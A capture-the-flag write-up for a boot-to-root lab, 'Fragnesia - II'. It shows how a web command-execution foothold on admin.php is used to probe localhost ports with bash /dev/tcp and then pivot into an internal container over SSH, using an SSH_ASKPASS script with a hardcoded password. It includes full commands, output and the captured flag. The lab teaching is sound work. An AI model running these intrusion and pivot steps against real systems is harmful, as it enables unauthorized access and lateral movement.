N
Back to writeup archive
LIGA CTF 2026 (Week 2 Boot2Root)

Fragnesia - II

After completing Fragnesia - I, the stored XSS chain gave an authenticated admin session and command execution through admin.php. This stage focuses on using that www-data foothold to enumerate the host from the inside and pivot into the internal container that is not exposed directly on the network.

Web / Boot2Root / Container PivotMarkdown + PDFHardsolved2 minread·518words
route
/TryN3rr0r/writeups/liga-ctf-2026-week-2-boot2root/fragnesia-ii
archive index
15 / 16
read mode
parsed markdown
Writeup loaded.

Fragnesia - II

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.1.26
category
Web / Boot2Root / Container Pivot
points
1000
difficulty
Hard
flag format
OWASPKL{xxx}
tools used
nmapferoxbustercurlpython3OpenSSHSSH_ASKPASS
final flag
OWASPKL{F33l_s0_3mPTy_i5nt}
reveal and copy from section 5
PDF evidence frame 01

1. Challenge Overview

After completing Fragnesia - I, the stored XSS chain gave an authenticated admin session and command execution through admin.php. This stage focuses on using that www-data foothold to enumerate the host from the inside and pivot into the internal container that is not exposed directly on the network.

The key idea is that external nmap only showed port 80, but command execution from the web server allowed internal service enumeration against 127.0.0.1. That revealed an SSH service bound locally on port 2222, which became the pivot point for the second flag.

2. Initial Reconnaissance

The external attack surface remained minimal: only Apache on port 80 was reachable from Kali.

bash1 lines
1nmap -sC -sV -p- -T4 192.168.1.26
text3 lines
1PORT   STATE SERVICE VERSION280/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))3|_http-title: Guestbook
PDF evidence frame 02

Content discovery from Part 1 identified the important web endpoints:

bash3 lines
1feroxbuster -u http://192.168.1.26 \2  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \3  -x php,txt -d 1 -o ferox.txt
text5 lines
1200      GET   http://192.168.1.26/2200      GET   http://192.168.1.26/index.php3200      GET   http://192.168.1.26/admin.php4200      GET   http://192.168.1.26/admin_login.php5200      GET   http://192.168.1.26/bot.php

3. Analysis / Forensics Path

3.1 Re-establish the RCE foothold

Using the admin session obtained in Part 1, I replayed the valid PHPSESSID to admin.php and confirmed code execution as the web server user.

bash3 lines
1curl -s -b "PHPSESSID=<ADMIN_SESSION>" \2  --data-urlencode "cmd=id" \3  http://192.168.1.26/admin.php
text1 lines
1<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
PDF evidence frame 03

For repeatable testing, I stored the session in a cookie jar and used curl as the command transport:

bash10 lines
1TARGET=http://192.168.1.262COOKIE=/tmp/frag26_admin.cookie34curl -s -c "$COOKIE" \5  -d 'username=admin&password=<REDACTED_FOR_WRITEUP>' \6  "$TARGET/admin_login.php" >/dev/null78curl -s -b "$COOKIE" \9  --data-urlencode 'cmd=id' \10  "$TARGET/admin.php"

> Note: In the final writeup narrative, the authenticated cookie comes from the Part 1 XSS/admin-bot chain. The password is not required for the exploitation path and should not be presented as the primary method.

3.2 Internal service discovery from the foothold

External scanning only showed port 80, so I used the www-data RCE to check for localhost-only services.

bash3 lines
1curl -s -b "$COOKIE" \2  --data-urlencode 'cmd=timeout 2 bash -lc "</dev/tcp/127.0.0.1/2222" && echo open || echo closed' \3  "$TARGET/admin.php"
text1 lines
1<pre>open</pre>

This showed that port 2222 was reachable only from inside the target host.

3.3 Identify the local SSH service

I then used the host's SSH client from the command-execution context to talk to 127.0.0.1:2222. Because the command runner is non-interactive, I used SSH_ASKPASS to provide the password to OpenSSH in a controlled way.

bash15 lines
1cat > /tmp/askpass.sh <<'SH'2#!/bin/sh3echo fragnesia4SH5chmod +x /tmp/askpass.sh67DISPLAY=:0 \8SSH_ASKPASS=/tmp/askpass.sh \9SSH_ASKPASS_REQUIRE=force \10setsid ssh \11  -o StrictHostKeyChecking=no \12  -o UserKnownHostsFile=/tmp/known_hosts_frag26 \13  -o LogLevel=ERROR \14  -p 2222 user@127.0.0.1 \15  'id; hostname; pwd'

Executed through admin.php:

bash3 lines
1curl -s -b "$COOKIE" \2  --data-urlencode "cmd=$(cat ssh_pivot_command.sh)" \3  "$TARGET/admin.php"

Output:

text3 lines
1uid=1000(user) gid=1000(user) groups=1000(user)2335cbf012f163/home/user

The hostname looked like a short Docker/container ID, confirming that 127.0.0.1:2222 was a local SSH service forwarding into an isolated container.

4. Exploitation / Recovery

4.1 Read the second flag from the container user account

Once inside the container as user, I listed the home directory and read the second flag.

bash9 lines
1DISPLAY=:0 \2SSH_ASKPASS=/tmp/askpass.sh \3SSH_ASKPASS_REQUIRE=force \4setsid ssh \5  -o StrictHostKeyChecking=no \6  -o UserKnownHostsFile=/tmp/known_hosts_frag26 \7  -o LogLevel=ERROR \8  -p 2222 user@127.0.0.1 \9  'echo ===container===; id; hostname; pwd; echo ===flag2===; cat /home/user/second_flag.txt'

Live output:

text6 lines
1===container===2uid=1000(user) gid=1000(user) groups=1000(user)3335cbf012f164/home/user5===flag2===6OWASPKL{F33l_s0_3mPTy_i5nt}

5. Flag

captured flag
OWASPKL{F33l_s0_3mPTy_i5nt}

6. Summary of Approach & Key Takeaways

Foothold reuse — Part 1 gave www-data command execution through a stolen admin session.

Internal enumeration — external nmap showed only port 80, but localhost probing from the foothold revealed 127.0.0.1:2222.

Container pivot — OpenSSH + SSH_ASKPASS allowed a non-interactive SSH login from the web RCE context into the internal container as user.

Flag recovery — /home/user/second_flag.txt contained the second flag.

Key takeaways:

Localhost-only services still matter after a web foothold.

Containerized services may be unreachable externally but accessible from the compromised host.

Non-interactive command runners can still drive SSH by using SSH_ASKPASS and setsid.